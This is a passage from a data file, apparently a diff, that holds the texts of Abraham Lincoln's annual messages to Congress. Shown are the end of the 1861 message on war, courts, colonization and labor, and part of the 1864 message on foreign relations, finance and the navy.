of\nexisting law. This is the case, in whole or in part, in all the\ninsurgent States; and as our armies advance upon and take possession of\nparts of those States the practical evil becomes more apparent. There\nare no courts nor officers to whom the citizens of other States may\napply for the enforcement of their lawful claims against citizens of\nthe insurgent States, and there is a vast amount of debt constituting\nsuch claims. Some have estimated it as high as $200,000,000, due in\nlarge part from insurgents in open rebellion to loyal citizens who are\neven now making great sacrifices in the discharge of their patriotic\nduty to support the Government.Under these circumstances I have been urgently solicited to establish\nby military power courts to administer summary justice in such cases I\nhave thus far declined to do it, not because I had any doubt that the\nend proposed--the collection of the debts--was just and right in\nitself, but because I have been unwilling to go beyond the pressure of\nnecessity in the unusual exercise of power. But the powers of Congress,\nI suppose, are equal to the anomalous occasion, and therefore I refer\nthe whole matter to Congress, with the hope that a plan may be devised\nfor the administration of justice in all such parts of the insurgent\nStates and Territories as may be under the control of this Government,\nwhether by a voluntary return to allegiance and order or by the power\nof our arms; this, however, not to be a permanent institution, but a\ntemporary substitute, and to cease as soon as the ordinary courts can\nbe reestablished in peace.It is important that some more convenient means should be provided, if\npossible, for the adjustment of claims against the Government,\nespecially in view of their increased number by reason of the war. It\nis as much the duty of Government to render prompt justice against\nitself in favor of citizens as it is to administer the same between\nprivate individuals. The investigation and adjudication of claims in\ntheir nature belong to the judicial department. Besides, it is apparent\nthat the attention of Congress will be more than usually engaged for\nsome time to come with great national questions. It was intended by the\norganization of the Court of Claims mainly to remove this branch of\nbusiness from the halls of Congress: but while the court has proved to\nbe an effective and valuable means of investigation, it in great degree\nfails to effect the object of its creation for want of power to make\nits judgments final.Fully aware of the delicacy, not to say the danger, of the subject, I\ncommend to your careful consideration whether this power of making\njudgments final may not properly be given to the court, reserving the\nright of appeal on questions of law to the Supreme Court, with such\nother provisions as experience may have shown to be necessary.I ask attention to the report of the Postmaster-General, the following\nbeing a summary statement of the condition of the Department:The revenue from all sources during the fiscal year ending June 30,\n1861, including the annual permanent appropriation of $700,000 for the\ntransportation of \"free mail matter,\" was $9,049,296.40, being about 2\nper cent less than the revenue for 1860.The expenditures were $13,606,759.11, showing a decrease of more than 8\nper cent as compared with those of the previous year and leaving an\nexcess of expenditure over the revenue for the last fiscal year of\n$4,557,462.71.The gross revenue for the year ending June 30, 1863, is estimated at an\nincrease of 4 per cent on that of 1861, making $8,683,000, to which\nshould be added the earnings of the Department in carrying free matter,\nviz, $700,000, making $9,383,000.The total expenditures for 1863 are estimated at $12,528,000, leaving\nan estimated deficiency of $3,145,000 to be supplied from the Treasury\nin addition to the permanent appropriation.The present insurrection shows, I think, that the extension of this\nDistrict across the Potomac River at the time of establishing the\ncapital here was eminently wise, and consequently that the\nrelinquishment of that portion of it which lies within the State of\nVirginia was unwise and dangerous. I submit for your consideration the\nexpediency of regaining that part of the District and the restoration\nof the original boundaries thereof through negotiations with the State\nof Virginia.The report of the Secretary of the Interior, with the accompanying\ndocuments, exhibits the condition of the several branches of the public\nbusiness pertaining to that Department. The depressing influences of\nthe insurrection have been specially felt in the operations of the\nPatent and General Land Offices. The cash receipts from the sales of\npublic lands during the past year have exceeded the expenses of our\nland system only about $200,000. The sales have been entirely suspended\nin the Southern States, while the interruptions to the business of the\ncountry and the diversion of large numbers of men from labor to\nmilitary service have obstructed settlements in the new States and\nTerritories of the Northwest.The receipts of the Patent Office have declined in nine months about\n$100,000, rendering a large reduction of the force employed necessary\nto make it self-sustaining.The demands upon the Pension Office will be largely increased by the\ninsurrection. Numerous applications for pensions, based upon the\ncasualties of the existing war, have already been made. There is reason\nto believe that many who are now upon the pension rolls and in receipt\nof the bounty of the Government are in the ranks of the insurgent army\nor giving them aid and comfort. The Secretary of the Interior has\ndirected a suspension of the payment of the pensions of such persons\nupon proof of their disloyalty. I recommend that Congress authorize\nthat officer to cause the names of such persons to be stricken from the\npension rolls.The relations of the Government with the Indian tribes have been\ngreatly disturbed by the insurrection, especially in the southern\nsuperintendency and in that of New Mexico. The Indian country south of\nKansas is in the possession of insurgents from Texas and Arkansas. The\nagents of the United States appointed since the 4th of March for this\nsuperintendency have been unable to reach their posts, while the most\nof those who were in office before that time have espoused the\ninsurrectionary cause, and assume to exercise the powers of agents by\nvirtue of commissions from the insurrectionists. It has been stated in\nthe public press that a portion of those Indians have been organized as\na military force and are attached to the army of the insurgents.\nAlthough the Government has no official information upon this subject,\nletters have been written to the Commissioner of Indian Affairs by\nseveral prominent chiefs giving assurance of their loyalty to the\nUnited States and expressing a wish for the presence of Federal troops\nto protect them. It is believed that upon the repossession of the\ncountry by the Federal forces the Indians will readily cease all\nhostile demonstrations and resume their former relations to the\nGovernment.Agriculture, confessedly the largest interest of the nation, has not a\ndepartment nor a bureau, but a clerkship only, assigned to it in the\nGovernment. While it is fortunate that this great interest is so\nindependent in its nature as to not have demanded and extorted more\nfrom the Government, I respectfully ask Congress to consider whether\nsomething more can not be given voluntarily with general advantage.Annual reports exhibiting the condition of our agriculture, commerce,\nand manufactures would present a fund of information of great practical\nvalue to the country. While I make no suggestion as to details, I\nventure the opinion that an agricultural and statistical bureau might\nprofitably be organized.The execution of the laws for the suppression of the African slave\ntrade has been confided to the Department of the Interior. It is a\nsubject of gratulation that the efforts which have been made for the\nsuppression of this inhuman traffic have been recently attended with\nunusual success. Five vessels being fitted out for the slave trade have\nbeen seized and condemned. Two mates of vessels engaged in the trade\nand one person in equipping a vessel as a slaver have been convicted\nand subjected to the penalty of fine and imprisonment, and one captain,\ntaken with a cargo of Africans on board his vessel, has been convicted\nof the highest grade of offense under our laws, the punishment of which\nis death.The Territories of Colorado, Dakota, and Nevada, created by the last\nCongress, have been organized, and civil administration has been\ninaugurated therein under auspices especially gratifying when it is\nconsidered that the leaven of treason was found existing in some of\nthese new countries when the Federal officers arrived there.The abundant natural resources of these Territories, with the security\nand protection afforded by organized government, will doubtless invite\nto them a large immigration when peace shall restore the business of\nthe country to its accustomed channels. I submit the resolutions of the\nlegislature of Colorado, which evidence the patriotic spirit of the\npeople of the Territory. So far the authority of the United States has\nbeen upheld in all the Territories, as it is hoped it will be in the\nfuture. I commend their interests and defense to the enlightened and\ngenerous care of Congress.I recommend to the favorable consideration of Congress the interests of\nthe District of Columbia. The insurrection has been the cause of much\nsuffering and sacrifice to its inhabitants, and as they have no\nrepresentative in Congress that body should not overlook their just\nclaims upon the Government.At your late session a joint resolution was adopted authorizing the\nPresident to take measures for facilitating a proper representation of\nthe industrial interests of the United States at the exhibition of the\nindustry of all nations to be holden at London in the year 1862. I\nregret to say I have been unable to give personal attention to this\nsubject--a subject at once so interesting in itself and so extensively\nand intimately connected with the material prosperity of the world.\nThrough the Secretaries of State and of the Interior a plan or system\nhas been devised and partly matured, and which will be laid before you.Under and by virtue of the act of Congress entitled \"An act to\nconfiscate property used for insurrectionary purposes,\" approved August\n6, 1861, the legal claims of certain persons to the labor and service\nof certain other persons have become forfeited, and numbers of the\nlatter thus liberated are already dependent on the United States and\nmust be provided for in some way. Besides this, it is not impossible\nthat some of the States will pass similar enactments for their own\nbenefit respectively, and by operation of which persons of the same\nclass will be thrown upon them for disposal. In such case I recommend\nthat Congress provide for accepting such persons from such States,\naccording to some mode of valuation, in lieu, pro tanto, of direct\ntaxes, or upon some other plan to be agreed on with such States\nrespectively; that such persons, on such acceptance by the General\nGovernment, be at once deemed free, and that in any event steps be\ntaken for colonizing both classes (or the one first mentioned if the\nother shall not be brought into existence) at some place or places in a\nclimate congenial to them. It might be well to consider, too, whether\nthe free colored people already in the United States could not, so far\nas individuals may desire, be included in such colonization.To carry out the plan of colonization may involve the acquiring of\nterritory, and also the appropriation of money beyond that to be\nexpended in the territorial acquisition. Having practiced the\nacquisition of territory for nearly sixty years, the question of\nconstitutional power to do so is no longer an open one with us. The\npower was questioned at first by Mr. Jefferson, who, however, in the\npurchase of Louisiana, yielded his scruples on the plea of great\nexpediency. If it be said that the only legitimate object of acquiring\nterritory is to furnish homes for white men, this measure effects that\nobject, for the emigration of colored men leaves additional room for\nwhite men remaining or coming here. Mr. Jefferson, however, placed the\nimportance of procuring Louisiana more on political and commercial\ngrounds than on providing room for population.On this whole proposition, including the appropriation of money with\nthe acquisition of territory, does not the expediency amount to\nabsolute necessity--that without which the Government itself can not be\nperpetuated?The war continues. In considering the policy to be adopted for\nsuppressing the insurrection I have been anxious and careful that the\ninevitable conflict for this purpose shall not degenerate into a\nviolent and remorseless revolutionary struggle. I have therefore in\nevery case thought it proper to keep the integrity of the Union\nprominent as the primary object of the contest on our pan, leaving all\nquestions which are not of vital military importance to the more\ndeliberate action of the Legislature.In the exercise of my best discretion I have adhered to the blockade of\nthe ports held by the insurgents, instead of putting in force by\nproclamation the law of Congress enacted .at the late session for\nclosing those ports.So also, obeying the dictates of prudence, as well as the obligations\nof law, instead of transcending I have adhered to the act of Congress\nto confiscate property used for insurrectionary purposes. If a new law\nupon the same subject shall be proposed, its propriety will be duly\nconsidered. The Union must be preserved, and hence all indispensable\nmeans must be employed. We should not be in haste to determine that\nradical and extreme measures, which may reach the loyal as well as the\ndisloyal, are indispensable.The inaugural address at the beginning of the Administration and the\nmessage to Congress at the late special session were both mainly\ndevoted to the domestic controversy out of which the insurrection and\nconsequent war have sprung. Nothing now occurs to add or subtract to or\nfrom the principles or general purposes stated and expressed in those\ndocuments.The last ray of hope for preserving the Union peaceably expired at the\nassault upon Fort Sumter, and a general review of what has occurred\nsince may not be unprofitable. What was painfully uncertain then is\nmuch better defined and more distinct now, and the progress of events\nis plainly in the right direction. The insurgents confidently claimed a\nstrong support from north of Mason and Dixon's line, and the friends of\nthe Union were not free from apprehension on the point. This, however,\nwas soon settled definitely, and on the right side. South of the line\nnoble little Delaware led off right from the first. Maryland was made\nto seem against the Union. Our soldiers were assaulted, bridges were\nburned, and railroads torn up within her limits, and we were many days\nat one time without the ability to bring a single regiment over her\nsoil to the capital. Now her bridges and railroads are repaired and\nopen to the Government; she already gives seven regiments to the cause\nof the Union, and none to the enemy; and her people, at a regular\nelection, have sustained the Union by a larger majority and a larger\naggregate vote than they ever before gave to any candidate or any\nquestion. Kentucky, too, for some time in doubt, is now decidedly and,\nI think, unchangeably ranged on the side of the Union. Missouri is\ncomparatively quiet, and, I believe, can not again be overrun by the\ninsurrectionists. These three States of Maryland, Kentucky, and\nMissouri, neither of which would promise a single soldier at first,\nhave now an aggregate of not less than 40,000 in the field for the\nUnion, while of their citizens certainly not more than a third of that\nnumber, and they of doubtful whereabouts and doubtful existence, are in\narms against us. After a somewhat bloody struggle of months, winter\ncloses on the Union people of western Virginia, leaving them masters of\ntheir own country.An insurgent force of about 1,500, for months dominating the narrow\npeninsular region constituting the counties of Accomac and Northampton,\nand known as Eastern Shore of Virginia, together with some contiguous\nparts of Maryland, have laid down their arms, and the people there have\nrenewed their allegiance to and accepted the protection of the old\nflag. This leaves no armed insurrectionist north of the Potomac or east\nof the Chesapeake.Also we have obtained a footing at each of the isolated points on the\nsouthern coast of Hatteras, Port Royal, Tybee Island (near Savannah),\nand Ship Island; and we likewise have some general accounts of popular\nmovements in behalf of the Union in North Carolina and Tennessee.These things demonstrate that the cause of the Union is advancing\nsteadily and certainly southward.Since your last adjournment Lieutenant-General Scott has retired from\nthe head of the Army. During his long life the nation has not been\nunmindful of his merit; yet on calling to mind how faithfully, ably,\nand brilliantly he has served the country, from a time far back in our\nhistory, when few of the now living had been born, and thenceforward\ncontinually, I can not but think we are still his debtors. I submit,\ntherefore, for your consideration what further mark of recognition is\ndue to him, and to ourselves as a grateful people.With the retirement of General Scott came the Executive duty of\nappointing in his stead a General in Chief of the Army. It is a\nfortunate circumstance that neither in council nor country was there,\nso far as I know, any difference of opinion as to the proper person to\nbe selected. The retiring chief repeatedly expressed his judgment in\nfavor of General McClellan for the position, and in this the nation\nseemed to give a unanimous concurrence. The designation of General\nMcClellan is therefore in considerable degree the selection of the\ncountry as well as of the Executive, and hence there is better reason\nto hope there will be given him the confidence and cordial support thus\nby fair implication promised, and without which he can not with so full\nefficiency serve the country.It has been said that one bad general is better than two good ones, and\nthe saying is true if taken to mean no more than that an army is better\ndirected by a single mind, though inferior, than by two superior ones\nat variance and cross-purposes with each other.And the same is true in all joint operations wherein those engaged can\nhave none but a common end in view and can differ only as to the choice\nof means. In a storm at sea no one on board can wish the ship to sink,\nand yet not unfrequently all go down together because too many will\ndirect and no single mind can be allowed to control.It continues to develop that the insurrection is largely, if not\nexclusively, a war upon the first principle of popular government--the\nrights of the people. Conclusive evidence of this is found in the most\ngrave and maturely considered public documents, as well as in the\ngeneral tone of the insurgents. In those documents we find the\nabridgment of the existing right of suffrage and the denial to the\npeople of all right to participate in the selection of public officers\nexcept the legislative boldly advocated, with labored arguments to\nprove that large control of the people in government is the source of\nall political evil. Monarchy itself is sometimes hinted at as a\npossible refuge from the power of the people.In my present position I could scarcely be justified were I to omit\nraising a warning voice against this approach of returning despotism.It is not needed nor fitting here that a general argument should be\nmade in favor of popular institutions, but there is one point, with its\nconnections, not so hackneyed as most others, to which I ask a brief\nattention. It is the effort to place capital on an equal footing with,\nif not above, labor in the structure of government. It is assumed that\nlabor is available only in connection with capital; that nobody labors\nunless somebody else, owning capital, somehow by the use of it induces\nhim to labor. This assumed, it is next considered whether it is best\nthat capital shall hire laborers, and thus induce them to work by their\nown consent, or buy them and drive them to it without their consent.\nHaving proceeded so far, it is naturally concluded that all laborers\nare either hired laborers or what we call slaves. And further, it is\nassumed that whoever is once a hired laborer is fixed in that condition\nfor life.Now there is no such relation between capital and labor as assumed, nor\nis there any such thing as a free man being fixed for life in the\ncondition of a hired laborer. Both these assumptions are false, and all\ninferences from them are groundless.Labor is prior to and independent of capital. Capital is only the fruit\nof labor, and could never have existed if labor had not first existed.\nLabor is the superior of capital, and deserves much the higher\nconsideration. Capital has its rights, which are as worthy of\nprotection as any other rights. Nor is it denied that there is, and\nprobably always will be, a relation between labor and capital producing\nmutual benefits. The error is in assuming that the whole labor of\ncommunity exists within that relation. A few men own capital, and that\nfew avoid labor themselves, and with their capital hire or buy another\nfew to labor for them. A large majority belong to neither\nclass--neither work for others nor have others working for them. In\nmost of the Southern States a majority of the whole people of all\ncolors are neither slaves nor masters, while in the Northern a large\nmajority are neither hirers nor hired. Men, with their families--wives,\nsons, and daughters--work for themselves on their farms, in their\nhouses, and in their shops, taking the whole product to themselves, and\nasking no favors of capital on the one hand nor of hired laborers or\nslaves on the other. It is not forgotten that a considerable number of\npersons mingle their own labor with capital; that is, they labor with\ntheir own hands and also buy or hire others to labor for them; but this\nis only a mixed and not a distinct class. No principle stated is\ndisturbed by the existence of this mixed class.Again, as has already been said, there is not of necessity any such\nthing as the free hired laborer being fixed to that condition for life.\nMany independent men everywhere in these States a few years back in\ntheir lives were hired laborers. The prudent, penniless beginner in the\nworld labors for wages awhile, saves a surplus with which to buy tools\nor land for himself, then labors on his own account another while, and\nat length hires another new beginner to help him. This is the just and\ngenerous and prosperous system which opens the way to all, gives hope\nto all, and consequent energy and progress and improvement of condition\nto all. No men living are more worthy to be trusted than those who toil\nup from poverty; none less inclined to take or touch aught which they\nhave not honestly earned. Let them beware of surrendering a political\npower which they already possess, and which if surrendered will surely\nbe used to close the door of advancement against such as they and to\nfix new disabilities and burdens upon them till all of liberty shall be\nlost.From the first taking of our national census to the last are seventy\nyears, and we find our population at the end of the period eight times\nas great as it was at the beginning. The increase of those other things\nwhich men deem desirable has been even greater. We thus have at one\nview what the popular principle, applied to Government through the\nmachinery, of the States and the Union, has produced in a given time,\nand also what if firmly maintained it promises for the future. There\nare already among us those who if the Union be preserved will live to\nsee it contain 250,000,000. The struggle of to-day is not altogether\nfor to-day; it is for a vast future also. With a reliance on Providence\nall the more firm and earnest, let us proceed in the great task which\nevents have devolved upon us.", 
+    "name": "Abraham Lincoln"
+}
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+{
+    "date": "December 6, 1864", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Again the blessings of health and abundant harvests claim our\nprofoundest gratitude to Almighty God.The condition of our foreign affairs is reasonably satisfactory.Mexico continues to be a theater of civil war. While our political\nrelations with that country have undergone no change, we have at the\nsame time strictly maintained neutrality between the belligerents.At the request of the States of Costa Rica and Nicaragua, a competent\nengineer has been authorized to make a survey of the river San Juan and\nthe port of San Juan. It is a source of much satisfaction that the\ndifficulties which for a moment excited some political apprehensions\nand caused a closing of the interoceanic transit route have been\namicably adjusted, and that there is a good prospect that the route\nwill soon be reopened with an increase of capacity and adaptation. We\ncould not exaggerate either the commercial or the political importance\nof that great improvement.It would be doing injustice to an important South American State not to\nacknowledge the directness, frankness, and cordiality with which the\nUnited States of Colombia have entered into intimate relations with\nthis Government. A claims convention has been constituted to complete\nthe unfinished work of the one which closed its session in 1861.The new liberal constitution of Venezuela having gone into effect with\nthe universal acquiescence of the people, the Government under it has\nbeen recognized and diplomatic intercourse with it has opened in a\ncordial and friendly spirit. The long-deferred Aves Island claim has\nbeen satisfactorily paid and discharged.Mutual payments have been made of the claims awarded by the late joint\ncommission for the settlement of claims between the United States and\nPeru. An earnest and cordial friendship continues to exist between the\ntwo countries, and such efforts as were in my power have been used to\nremove misunderstanding and avert a threatened war between Peru and\nSpain.Our relations are of the most friendly nature with Chile, the Argentine\nRepublic, Bolivia, Costa Rica, Paraguay, San Salvador, and Hayti.\nDuring the past year no differences of any kind have arisen with any of\nthose Republics, and, on the other hand, their sympathies with the\nUnited States are constantly expressed with cordiality and earnestness.The claim arising from the seizure of the cargo of the brig Macedonian\nin 1821 has been paid in full by the Government of Chile. Civil war\ncontinues in the Spanish part of San Domingo, apparently without\nprospect of an early close.Official correspondence has been freely opened with Liberia, and it\ngives us a pleasing view of social and political progress in that\nRepublic. It may be expected to derive new vigor from American\ninfluence, improved by the rapid disappearance of slavery in the United\nStates.I solicit your authority to furnish to the Republic a gunboat at\nmoderate cost, to be reimbursed to the United States by installments.\nSuch a vessel is needed for the safety of that State against the native\nAfrican races, and in Liberian hands it would be more effective in\narresting the African slave trade than a squadron in our own hands. The\npossession of the least organized naval force would stimulate a\ngenerous ambition in the Republic, and the confidence which we should\nmanifest by furnishing it would win forbearance and favor toward the\ncolony from all civilized nations.The proposed overland telegraph between America and Europe, by the way\nof Behrings Straits and Asiatic Russia, which was sanctioned by\nCongress at the last session, has been undertaken, under very favorable\ncircumstances, by an association of American citizens, with the cordial\ngood will and support as well of this Government as of those of Great\nBritain and Russia. Assurances have been received from most of the\nSouth American States of their high appreciation of the enterprise and\ntheir readiness to cooperate in constructing lines tributary to that\nworld-encircling communication. I learn with much satisfaction that the\nnoble design of a telegraphic communication between the eastern coast\nof America and Great Britain has been renewed, with full expectation of\nits early accomplishment.Thus it is hoped that with the return of domestic peace the country\nwill be able to resume with energy and advantage its former high career\nof commerce and civilization.Our very popular and estimable representative in Egypt died in April\nlast. An unpleasant altercation which arose between the temporary\nincumbent of the office and the Government of the Pasha resulted in a\nsuspension of intercourse. The evil was promptly corrected on the\narrival of the successor in the consulate, and our relations with\nEgypt, as well as our relations with the Barbary Powers, are entirely\nsatisfactory.The rebellion which has so long been flagrant in China has at last been\nsuppressed, with the cooperating good offices of this Government and of\nthe other Western commercial States. The judicial consular\nestablishment there has become very difficult and onerous, and it will\nneed legislative revision to adapt it to the extension of our commerce\nand to the more intimate intercourse which has been instituted with the\nGovernment and people of that vast Empire. China seems to be accepting\nwith hearty good will the conventional laws which regulate commercial\nand social intercourse among the Western nations.Owing to the peculiar situation of Japan and the anomalous form of its\nGovernment, the action of that Empire in performing treaty stipulations\nis inconstant and capricious. Nevertheless, good progress has been\neffected by the Western powers, moving with enlightened concert. Our\nown pecuniary claims have been allowed or put in course of settlement,\nand the inland sea has been reopened to commerce. There is reason also\nto believe that these proceedings have increased rather than diminished\nthe friendship of Japan toward the United States.The ports of Norfolk, Fernandina, and Pensacola have been opened by\nproclamation. It is hoped that foreign merchants will now consider\nwhether it is not safer and more profitable to themselves, as well as\njust to the United States, to resort to these and other open ports than\nit is to pursue, through many hazards and at vast cost, a contraband\ntrade with other ports which are closed, if not by actual military\noccupation, at least by a lawful and effective blockade.For myself, I have no doubt of the power and duty of the Executive,\nunder the law of nations, to exclude enemies of the human race from an\nasylum in the United States. If Congress should think that proceedings\nin such cases lack the authority of law, or ought to be further\nregulated by it, I recommend that provision be made for effectually\npreventing foreign slave traders from acquiring domicile and facilities\nfor their criminal occupation in our country.It is possible that if it were new and open question the maritime\npowers, with the lights they now enjoy, would not concede the\nprivileges of a naval belligerent to the insurgents of the United\nStates, destitute, as they are, and always have been, equally of ships\nof war and of ports and harbors. Disloyal emissaries have been neither\nless assiduous nor more successful during the last year than they were\nbefore that time in their efforts under favor of that privilege, to\nembroil our country in foreign wars. The desire and determination of\nthe governments of the maritime states to defeat that design are\nbelieved to be as sincere as and can not be more earnest than our own.\nNevertheless, unforeseen political difficulties have arisen, especially\nin Brazilian and British ports and on the northern boundary of the\nUnited States, which have required, and are likely to continue to\nrequire, the practice of constant vigilance and a just and conciliatory\nspirit on the part of the United States, as well as of the nations\nconcerned and their governments.Commissioners have been appointed under the treaty with Great Britain\non the adjustment of the claims of the Hudsons Bay and Pugets Sound\nAgricultural Companies, in Oregon, and are now proceeding to the\nexecution of the trust assigned to them.In view of the insecurity of life and property in the region adjacent\nto the Canadian border, by reason of recent assaults and depredations\ncommitted by inimical and desperate persons who are harbored there, it\nhas been thought proper to give notice that after the expiration of six\nmonths, the period conditionally stipulated in the existing arrangement\nwith Great Britain, the United States must hold themselves at liberty\nto increase their naval armament upon the Lakes if they shall find that\nproceeding necessary. The condition of the border will necessarily come\ninto consideration in connection with the question of continuing or\nmodifying the rights of transit from Canada through the United States,\nas well as the regulation of imposts, which were temporarily\nestablished by the reciprocity treaty of the 5th June, 1854.I desire, however, to be understood while making this statement that\nthe colonial authorities of Canada are not deemed to be intentionally\nunjust or unfriendly toward the United States, but, on the contrary,\nthere is every reason to expect that, with the approval of the Imperial\nGovernment, they will take the necessary measures to prevent new\nincursions across the border.The act passed at the last session for the encouragement of immigration\nhas so far as was possible been put into operation. It seems to need\namendment which will enable the officers of the Government to prevent\nthe practice of frauds against the immigrants while on their way and on\ntheir arrival in the ports, so as to secure them here a free choice of\navocations and places of settlement. A liberal disposition toward this\ngreat national policy is manifested by most of the European States, and\nought to be reciprocated on our part by giving the immigrants effective\nnational protection. I regard our immigrants as one of the principal\nreplenishing streams which are appointed by Providence to repair the\nravages of internal war and its wastes of national strength and health.\nAll that is necessary is to secure the flow of that stream in its\npresent fullness, and to that end the Government must in every way make\nit manifest that it neither needs nor designs to impose involuntary\nmilitary service upon those who come from other lands to cast their lot\nin our country.The financial affairs of the Government have been successfully\nadministered during the last year. The legislation of the last session\nof Congress has beneficially affected the revenues, although sufficient\ntime has not yet elapsed to experience the full effect of several of\nthe provisions of the acts of Congress imposing increased taxation.The receipts during the year from all sources, upon the basis of\nwarrants signed by the Secretary of the Treasury, including loans and\nthe balance in the Treasury on the 1st day of July, 1863, were\n$1,394,796,007.62, and the aggregate disbursements, upon the same\nbasis, were $1,298,056,101.89, leaving a balance in the Treasury, as\nshown by warrants, of $96,739,905.73.Deduct from these amounts the amount of the principal of the public\ndebt redeemed and the amount of issues in substitution therefor, and\nthe actual cash operations of the Treasury were: Receipts,\n$884,076,646.57; disbursements, $865,234,087.86; which leaves a cash\nbalance in the Treasury of $18,842,558.71.Of the receipts there were derived from customs $102,316,152.99, from\nlands $588,333.29. from direct taxes $475,648.96, from internal revenue\n$109,741,134.10, from miscellaneous sources $47,511,448.10, and from\nloans applied to actual expenditures, including former balance,\n$623,443,929.13.There were disbursed for the civil service $27,505,599.46, for pensions\nand Indians $7,517,930.97, for the War Department $690,791,842.97, for\nthe Navy Department $85,733,292.77, for interest on the public debt\n$53,685,421.69, making an aggregate of $865,234,087.86 and leaving a\nbalance in the Treasury of $18,842,558.71, as before stated.For the actual receipts and disbursements for the first quarter and the\nestimated receipts and disbursements for the three remaining quarters\nof the current fiscal year, and the general operations of the Treasury\nin detail, I refer you to the report of the Secretary of the Treasury.\nI concur with him in the opinion that the proportion of moneys required\nto meet the expenses consequent upon the war derived from taxation\nshould be still further increased; and I earnestly invite your\nattention to this subject, to the end that there may be such additional\nlegislation as shall be required to meet the just expectations of the\nSecretary.The public debt on the 1st day of July last, as appears by the books of\nthe Treasury, amounted to $1,740,690,489.49. Probably, should the war\ncontinue for another year, that amount may be increased by not far from\nfive hundred millions. Held, as it is, for the most part by our own\npeople, it has become a substantial branch of national, though private,\nproperty. For obvious reasons the more nearly this property can be\ndistributed among all the people the better. To favor such general\ndistribution, greater inducements to become owners might, perhaps, with\ngood effect and without injury be presented to persons of limited\nmeans. With this view I suggest whether it might not be both competent\nand expedient for Congress to provide that a limited amount of some\nfuture issue of public securities might be held by any bona fide\npurchaser exempt from taxation and from seizure for debt, under such\nrestrictions and limitations as might be necessary to guard against\nabuse of so important a privilege. This would enable every prudent\nperson to set aside a small annuity against a possible day of want.Privileges like these would render the possession of such securities to\nthe amount limited most desirable to every person of small means who\nmight be able to save enough for the purpose. The great advantage of\ncitizens being creditors as well as debtors with relation to the public\ndebt is obvious. Men readily perceive that they can not be much\noppressed by a debt which they owe to themselves.The public debt on the 1st day of July last, although somewhat\nexceeding the estimate of the Secretary of the Treasury made to\nCongress at the commencement of the last session, falls short of the\nestimate of that officer made in the preceding December as to its\nprobable amount at the beginning of this year by the sum of\n$3,995,097.31. This fact exhibits a satisfactory condition and conduct\nof the operations of the Treasury.The national banking system is proving to be acceptable to capitalists\nand to the people. On the 25th day of November 584 national banks had\nbeen organized, a considerable number of which were conversions from\nState banks. Changes from State systems to the national system are\nrapidly taking place, and it is hoped that very soon there will be in\nthe United States no banks of issue not authorized by Congress and no\nbank-note circulation not secured by the Government. That the\nGovernment and the people will derive great benefit from this change in\nthe banking systems of the country can hardly be questioned. The\nnational system will create a reliable and permanent influence in\nsupport of the national credit and protect the people against losses in\nthe use of paper money. Whether or not any further legislation is\nadvisable for the suppression of State-bank issues it will be for\nCongress to determine. It seems quite clear that the Treasury can not\nbe satisfactorily conducted unless the Government can exercise a\nrestraining power over the bank-note circulation of the country. The\nreport of the Secretary of War and the accompanying documents will\ndetail the campaigns of the armies in the field since the date of the\nlast annual message, and also the operations of the several\nadministrative bureaus of the War Department during the last year. It\nwill also specify the measures deemed essential for the national\ndefense and to keep up and supply the requisite military force.The report of the Secretary of the Navy presents a comprehensive and\nsatisfactory exhibit of the affairs of that Department and of the naval\nservice. It is a subject of congratulation and laudable pride to our\ncountrymen that a Navy of such vast proportions has been organized in\nso brief a period and conducted with so much efficiency and success.The general exhibit of the Navy, including vessels under construction\non the 1st of December, 1864, shows a total of 671 vessels, carrying\n4,610 guns, and of 510,396 tons, being an actual increase during the\nyear, over and above all losses by shipwreck or in battle, of 83\nvessels, 167 guns, and 42,427 tons.The total number of men at this time in the naval service, including\nofficers, is about 51,000.There have been captured by the Navy during the year 324 vessels, and\nthe whole number of naval captures since hostilities commenced is\n1,379, of which 267 are steamers.The gross proceeds arising from the sale of condemned prize property\nthus far reported amount to $14,396,250.51. A large amount of such\nproceeds is still under adjudication and yet to be reported.The total expenditure of the Navy Department of every description,\nincluding the cost of the immense squadrons that have been called into\nexistence from the 4th of March, 1861, to the 1st of November, 1864, is\n$238,647,262.35.Your favorable consideration is invited to the various recommendations\nof the Secretary of the Navy, especially in regard to a navy-yard and\nsuitable establishment for the construction and repair of iron vessels\nand the machinery and armature for our ships, to which reference was\nmade in my last annual message.Your attention is also invited to the views expressed in the report in\nrelation to the legislation of Congress at its last session in respect\nto prize on our inland waters.I cordially concur in the recommendation of the Secretary as to the\npropriety of creating the new rank of vice-admiral in our naval\nservice. Your attention is invited to the report of the\nPostmaster-General for a detailed account of the operations and\nfinancial condition of the Post-Office Department.The postal revenues for the year ending June 30, 1864, amounted to\n$12,438,253.78 and the expenditures to $12,644,786.20, the excess of\nexpenditures over receipts being $206,652.42.The views presented by the Postmaster-General on the subject of special\ngrants by the Government in aid of the establishment of new lines of\nocean mail steamships and the policy he recommends for the development\nof increased commercial intercourse with adjacent and neighboring\ncountries should receive the careful consideration of Congress.It is of noteworthy interest that the steady expansion of population,\nimprovement, and governmental institutions over the new and unoccupied\nportions of our country have scarcely been checked, much less impeded\nor destroyed, by our great civil war, which at first glance would seem\nto have absorbed almost the entire energies of the nation.The organization and admission of the State of Nevada has been\ncompleted in conformity with law, and thus our excellent system is\nfirmly established in the mountains, which once seemed a barren and\nuninhabitable waste between the Atlantic States and those which have\ngrown up on the coast of the Pacific Ocean.The Territories of the Union are generally in a condition of prosperity\nand rapid growth. Idaho and Montana, by reason of their great distance\nand the interruption of communication with them by Indian hostilities,\nhave been only partially organized; but it is understood that these\ndifficulties are about to disappear, which will permit their\ngovernments, like those of the others, to go into speedy and full\noperation. As intimately connected with and promotive of this material\ngrowth of the nation, I ask the attention of Congress to the valuable\ninformation and important recommendations relating to the public lands,\nIndian affairs, the Pacific Railroad, and mineral discoveries contained\nin the report of the Secretary of the Interior which is herewith\ntransmitted, and which report also embraces the subjects of patents,\npensions, and other topics of public interest pertaining to his\nDepartment.The quantity of public land disposed of during the five quarters ending\non the 30th of September last was 4,221,342 acres, of which 1,538,614\nacres were entered under the homestead law. The remainder was located\nwith military land warrants, agricultural scrip certified to States for\nrailroads, and sold for cash. The cash received from sales and location\nfees was $1,019,446.The income from sales during the fiscal year ending June 30, 1864, was\n$678,007.21, against $136,077.95 received during the preceding year.\nThe aggregate number of acres surveyed during the year has been equal\nto the quantity disposed of, and there is open to settlement about\n133,000,000 acres of surveyed land.The great enterprise of connecting the Atlantic with the Pacific States\nby railways and telegraph lines has been entered upon with a vigor that\ngives assurance of success, notwithstanding the embarrassments arising\nfrom the prevailing high prices of materials and labor. The route of\nthe main line of the road has been definitely located for 100 miles\nwestward from the initial point at 